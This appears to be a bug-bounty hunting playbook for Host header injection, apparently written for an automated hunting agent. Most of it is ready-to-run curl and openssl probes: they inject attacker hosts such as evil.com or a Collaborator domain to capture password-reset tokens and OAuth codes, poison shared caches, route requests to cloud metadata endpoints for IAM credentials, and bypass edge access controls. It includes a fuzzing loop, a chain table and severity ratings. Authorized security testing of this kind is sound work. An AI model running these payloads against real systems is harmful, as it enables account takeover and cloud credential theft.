HUNT-HOST-HEADER — Host Header Injection

Grounding / Provenance

This skill is built from the public Host-header attack literature, not invented payloads. Cite the technique source in your report, never a fabricated ID:

• Password-reset poisoning class — the canonical write-up is Skelet's/Detectify-era "Practical HTTP Host header attacks" (the Django request.get_host() → password-reset-link case). Many frameworks built the reset URL from the request Host with no ALLOWED_HOSTS-style allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
• Web cache poisoning via unkeyed Host / X-Forwarded-Host — PortSwigger Research, James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020). These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
• Routing-based SSRF — PortSwigger Research, "Cracking the lens" / routing-based SSRF (Host header steers the front-end's upstream selection).

When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT on a fresh key, OOB hit from your Collaborator). Do not copy a CVE or H1 ID you have not verified — a missing citation is always better than a wrong one.

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Crown Jewel Targets

Host header injection that reaches password reset links = Critical (ATO for any user).

Highest-value chains:

• Password reset poisoning → ATO — server builds the reset link from the request Host; attacker sets Host: evil.com; the victim's reset email points the token at the attacker → token captured on click → full ATO. Pre-account-takeover variant: even the victim requesting their own reset leaks the token to evil.com.
• Web cache poisoning via unkeyed Host — a CDN/reverse proxy caches a response that reflects an attacker X-Forwarded-Host into an absolute URL (script src, link, redirect) → poisoned entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.
• Routing-based SSRF — the front-end uses the Host header itself to pick the upstream; Host: 169.254.169.254 (or an internal hostname) makes it forward your request to that target → cloud metadata / internal admin panels.
• Path-override SSRF / ACL bypass — IIS/ASP.NET/Spring honour X-Original-URL / X-Rewrite-URL to override the routed path → reach /admin or internal endpoints the edge ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)
• OAuth/OIDC poisoning — Host drives redirect_uri or the OIDC issuer / discovery doc → auth-code or token theft → ATO.

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Attack Surface Signals

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

Dangerous header candidates (unkeyed / trusted inputs):

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)

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Step-by-Step Hunting Methodology

Always test against your own registered test account. Never request another user's reset.

Phase 1 — Password Reset Poisoning

# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"your-test-account@target.com"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null

# 1e. Absolute-URL injection: keep real Host, append attacker host so the
#     reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"

# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"

Confirm: open the reset email in your own test inbox and read the link host. The token must appear under an attacker-controlled host (evil.com, $TARGET.evil.com, or a Collaborator domain) for this to be a real finding. Use a Burp Collaborator domain as the injected host so that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and have proof — see Validation.

Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host

Mechanism: this is a reflection bug, not an OOB bug. The injected host must be reflected into the response body (an absolute URL, script src, <link href>, <base href>, redirect Location, or canonical/og:url) and that response must be cached on a key you do not control. No Collaborator callback is expected from the cache test itself — only later, if a victim's browser loads the poisoned absolute URL.

# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
  -H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
  | grep -i "canary"

# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
  | grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.

# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null   # poison
curl -s "$URL" | grep -i "evilcdn.example"                        # clean victim view → reflected = POISONED

False-positive killers (mandatory):

• A reflection that only ever appears for your request (because the header is keyed, e.g. in Vary, or the CDN includes Host in the key) is not poisoning — confirm 2c returns the payload on a request that omits the header.
• Age: 0 + MISS every time → no shared cache → no mass impact. Demote to self-only / Low.
• Confirm blast radius from a second machine / fresh egress IP / incognito before claiming "mass". Cache scope is often per-edge / per-cookie / per-geo.

Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)

These operate at different layers. Test them separately; they do not compose into one request.

(3A) Routing-based SSRF — the Host header selects the upstream. The path goes on the request line, exactly as a normal request, because the metadata service / internal host serves plain HTTP and only sees the request line + headers you forward. X-Original-URL is irrelevant here — the EC2 IMDS ignores it.

# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"

# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
  -H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
  -H "Host: 169.254.169.254" -H "Metadata: true"

# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379"   # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"

# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"

(3B) Path-override SSRF / ACL bypass — X-Original-URL / X-Rewrite-URL. This is an IIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the routed path. The real Host stays put; you are bypassing an edge path ACL, not steering an upstream. Keep the real Host.

# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.

The old probe Host: 169.254.169.254 + X-Original-URL: /latest/meta-data/ was wrong: those two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.

Phase 4 — OAuth / OIDC / SAML Poisoning

# Does the authorization endpoint build redirect_uri / display URL from Host?
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
  -H "Host: evil.com" | grep -iE "redirect|location|action="

# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
  | grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"

Confirm: the auth code / token must actually be delivered to the attacker host (capture on Collaborator) — a reflected string alone is not ATO.

Phase 5 — Header Fuzzing (Param Miner)

Burp Param Miner → Guess headers is faster and finds unkeyed/cache-affecting headers the list below misses. Manual sweep:

HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
  echo "=== $H ==="
  curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
    | grep -iE "location|x-cache|cf-cache|age|set-cookie"
done

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Chain Table

Finding	Chain to	Impact
Reset link host = attacker (own test acct)	Collaborator-host injection → capture token on click	Critical — ATO any user
X-Forwarded-Host reflected in absolute URL + cacheable, unkeyed	Poison key → clean fetch returns payload → load XSS/redirect	High — mass cache poisoning
Front-end routes by Host	Host: 169.254.169.254 path-on-request-line → creds	High/Critical — SSRF → cloud creds
X-Original-URL overrides path	Reach /admin blocked at edge	High — ACL bypass / SSRF
OAuth redirect_uri/issuer built from Host	Re-point flow → capture code/token on Collaborator	Critical — ATO via code theft

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Validation (house discipline)

✅ Password reset: the token URL in your own test account's email uses an attacker-controlled host. Strongest proof = inject a Collaborator host and show the inbound HTTP hit carrying the token when the link is clicked/previewed (OOB capture). ✅ Cache poison: a request that omits the injected header (fresh egress IP / incognito) still returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or MISS/Age:0 only. ✅ Routing SSRF: real response body from 169.254.169.254 / internal host, or an OOB DNS/HTTP hit on your Collaborator from the front-end (blind case). ✅ Path-override: status/body diff vs the edge-blocked direct request proves the override took. ✅ OAuth/OIDC: the auth code / token is actually delivered to the attacker host (captured), not merely reflected.

Always rule out false positives:

• Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check Vary, second IP).
• A 200 echoing your Host string is not SSRF unless the response content came from the internal target or your Collaborator fired.
• Some mailers rewrite links to a fixed SITE_URL regardless of Host — reflected header in the HTTP response does not guarantee a poisoned email; verify the email body.

Severity:

• Reset → ATO for any user: Critical
• Routing SSRF → cloud metadata creds: Critical (if creds usable) / High
• Cache poisoning → mass XSS/redirect (shared key proven): High
• Path-override → internal/admin reach: High
• Reflected only, uncacheable, not in email, no internal reach: Low / informational